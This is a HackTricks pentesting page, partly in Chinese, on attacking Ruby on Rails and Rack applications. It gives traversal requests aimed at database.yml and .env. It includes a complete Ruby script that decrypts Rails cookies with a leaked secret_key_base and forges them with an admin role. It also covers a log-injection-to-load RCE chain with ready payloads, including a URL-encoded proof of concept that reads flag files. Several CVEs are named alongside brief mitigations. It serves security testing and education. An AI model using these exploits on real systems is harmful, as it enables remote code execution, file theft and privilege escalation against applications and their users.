9.3 KiB
Raw Blame History

Ruby 技巧

{{#include ../../banners/hacktricks-training.md}}

文件上传导致 RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.

提示:

  • 其他在应用启动时执行的 boot/eager-load 位置在可写时也很危险(例如,config/initializers/ 是典型的例子)。如果你发现任意文件上传被放到 config/ 下的任何位置并在随后被 evaluated/required则可能在启动时获得 RCE。
  • 查找将用户可控文件复制到容器镜像中且 Rails 会在启动时加载它们的 dev/staging 构建。

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • What to try during testing

  • Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.

  • Fuzz params[:t] and params[:v] for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.

  • If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.

  • Remediation/detections

  • If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.

  • Hunt for apps that mount Rack::Static in config.ru or middleware stacks. Try encoded traversals against static paths, for example:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.

  • Mitigation: upgrade Rack; ensure :root only points to a directory of public files and is explicitly set.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

用于解密并重新加密现代 cookies 的最小 Ruby 代码AES-256-GCM近期 Rails 的默认):

require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"

注意:

  • 较旧的应用可能使用 AES-256-CBC 和 salts encrypted cookie / signed encrypted cookie,或者使用 JSON/Marshal 序列化器。相应地调整 salts、cipher 和 serializer。
  • 在妥协/评估时,旋转 secret_key_base 以使所有已存在的 cookies 失效。

另见 (Ruby/Rails-specific vulns)

  • Ruby deserialization and class pollution: {{#ref}} ../../pentesting-web/deserialization/README.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-class-pollution.md {{#endref}} {{#ref}} ../../pentesting-web/deserialization/ruby-_json-pollution.md {{#endref}}
  • Template injection in Ruby engines (ERB/Haml/Slim, etc.): {{#ref}} ../../pentesting-web/ssti-server-side-template-injection/README.md {{#endref}}

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

当一个应用(通常是一个简单的 Rack/Sinatra/Rails 端点)同时满足:

  • 按原样记录用户可控的字符串,且
  • 之后通过 Pathname#cleanpath 处理后,从同一字符串派生路径并 load 该文件,

通常可以通过污染日志然后强制应用 load 日志文件来实现远程代码执行。关键原语:

  • Ruby 的 load 会将目标文件内容作为 Ruby 解释执行,忽略文件扩展名。任何可读的文本文件,只要其内容能被解析为 Ruby就会被执行。
  • Pathname#cleanpath 在不访问文件系统的情况下折叠 ... 段,从而允许路径混淆:可在记录时前置攻击者控制的垃圾数据,而清理后的路径仍解析到要执行的目标文件(例如 ../logs/error.log)。

最小易受攻击模式

require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

为什么日志可以包含有效的 Ruby

Logger 写入类似以下的前缀行:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

在 Ruby 中,# 表示注释,9/2/2025 只是算术运算。要注入有效的 Ruby 代码,你需要:

  • 在新行开始你的 payload这样不会被 INFO 行中的 # 注释掉;发送一个前导换行符(\n%0A)。
  • 关闭 INFO 行引入的悬空 [。常见技巧是以 ] 开头,并可选地用 ][0]=1 让解析器满意。
  • 然后放入任意 Ruby 代码(例如 system(...))。

以下是使用精心构造的参数进行一次请求后,最终会写入日志的示例:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

构造一个既会记录代码又会解析为日志路径的单字符串

我们需要一个由攻击者控制的单个字符串,满足:

  • 当原样记录时,包含我们的 Ruby payload
  • 当通过 Pathname.new(<input>).cleanpath 处理时,解析为 ../logs/error.log,因此随后对该刚被污染的日志文件执行 load

Pathname#cleanpath 会忽略 schemes 并折叠遍历组件,所以下面的方法可行:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • :// 前的 # 确保 Ruby 在日志被执行时忽略尾部,而 cleanpath 仍会将后缀简化为 ../logs/error.log
  • 前导的 newline 会跳出 INFO 行;] 关闭悬挂的括号;][0]=1 满足解析器。

End-to-end exploitation

  1. 将以下内容作为备份脚本名发送(如果需要,将第一个 newline URL-encode 为 %0A:
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. 应用将你的原始字符串记录到 logs/error.log
  2. 应用计算 cleanpath,解析为 ../logs/error.log 并对其调用 load
  3. Ruby 会执行你注入到日志中的代码。

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (第一个字符是换行符):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

参考资料

{{#include ../../banners/hacktricks-training.md}}